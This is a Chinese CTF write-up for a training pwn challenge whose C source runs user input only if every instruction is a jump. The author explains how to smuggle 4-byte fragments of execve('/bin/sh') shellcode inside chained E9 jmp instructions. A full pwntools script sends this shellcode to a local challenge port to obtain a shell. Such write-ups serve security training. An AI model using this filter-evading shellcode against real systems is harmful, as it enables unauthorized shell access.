暑期集训shellcode5(手搓机器码)
拖进ida里面反汇编再让人工智能分析(我是废物)(后来给源码了,直接上源码)
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
#include <capstone/capstone.h>
#include <sys/mman.h>
int upkeep() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
int validate(char* ptr, size_t len) {
csh handle;
cs_insn *insn;
int ret = 1;
if (cs_open(CS_ARCH_X86, CS_MODE_64, &handle) != CS_ERR_OK) {
return 0;
}
size_t count = cs_disasm(handle, ptr, len, 0, 0, &insn);
size_t success_len = 0;
if (count > 0) {
for (size_t j = 0; j < count; j++) {
ret &= insn[j].mnemonic[0] == 'j';
success_len += insn[j].size;
}
cs_free(insn, count);
} else {
return 0;
}
cs_close(&handle);
ret &= len == success_len;
return ret;
}
int main() {
upkeep();
char code[4096];
size_t n = read(0, code, 0x1000);
if (n > 0 && validate(code, n)) {
((void (*)())code)();
}
return 0;
}
发现本题的逻辑是只能输入‘j’相关的(jmp)指令,先补一下这里的知识
jmp
思路
简单来说就是可以利用jmp从当前指令跳转并执行下一条指令,将getshell的过程一步步分解执行
在ida里面简单实践一下
我们可以看到从当前指令到下一条指令只需要E9 01 00 00 00即可,所以我们每一条指令前都要加上这段。
接下来就是上网找较短的shellcode改成汇编指令再改成机器码,注意E9后只跟4个字节的指令,若超过4个字节需要替换成同义短于4个字节的指令。
WP
from pwn import *
sh = remote('127.0.0.1',42213)
#sh = process("./shellcode5")
context(log_level = 'debug', os = 'linux', arch = 'amd64')
shellcode = '''
\xE9\x01\x00\x00\x00
\xE9\x48\x31\xFF\x90
\xE9\x01\x00\x00\x00
\xE9\x48\x31\xF6\x90
\xE9\x01\x00\x00\x00
\xE9\x48\x31\xD2\x90
\xE9\x01\x00\x00\x00
\xE9\x48\x31\xC0\x90
\xE9\x01\x00\x00\x00
\xE9\x48\x31\xDB\x90
\xE9\x01\x00\x00\x00
\xE9\x50\x90\x90\x90
\xE9\x01\x00\x00\x00
\xE9\xB3\x68\x90\x90
\xE9\x01\x00\x00\x00
\xE9\x48\xC1\xE3\x08
\xE9\x01\x00\x00\x00
\xE9\xB3\x73\x90\x90
\xE9\x01\x00\x00\x00
\xE9\x48\xC1\xE3\x08
\xE9\x01\x00\x00\x00
\xE9\xB3\x2F\x90\x90
\xE9\x01\x00\x00\x00
\xE9\x48\xC1\xE3\x08
\xE9\x01\x00\x00\x00
\xE9\xB3\x2F\x90\x90
\xE9\x01\x00\x00\x00
\xE9\x48\xC1\xE3\x08
\xE9\x01\x00\x00\x00
\xE9\xB3\x6E\x90\x90
\xE9\x01\x00\x00\x00
\xE9\x48\xC1\xE3\x08
\xE9\x01\x00\x00\x00
\xE9\xB3\x69\x90\x90
\xE9\x01\x00\x00\x00
\xE9\x48\xC1\xE3\x08
\xE9\x01\x00\x00\x00
\xE9\xB3\x62\x90\x90
\xE9\x01\x00\x00\x00
\xE9\x48\xC1\xE3\x08
\xE9\x01\x00\x00\x00
\xE9\xB3\x2F\x90\x90
\xE9\x01\x00\x00\x00
\xE9\x53\x90\x90\x90
\xE9\x01\x00\x00\x00
\xE9\x48\x89\xE7\x90
\xE9\x01\x00\x00\x00
\xE9\xB0\x3B\x90\x90
\xE9\x01\x00\x00\x00
\xE9\x0F\x05\x90\x90'''
#gdb.attach(sh)
#pause()
shellcode=shellcode.replace('\n',' ')
shellcode=shellcode.replace(' ','')
#print(shellcode)
sh.send(shellcode)
sh.interactive()
注意要将空格和换行符都删掉
当然也可以写汇编代码()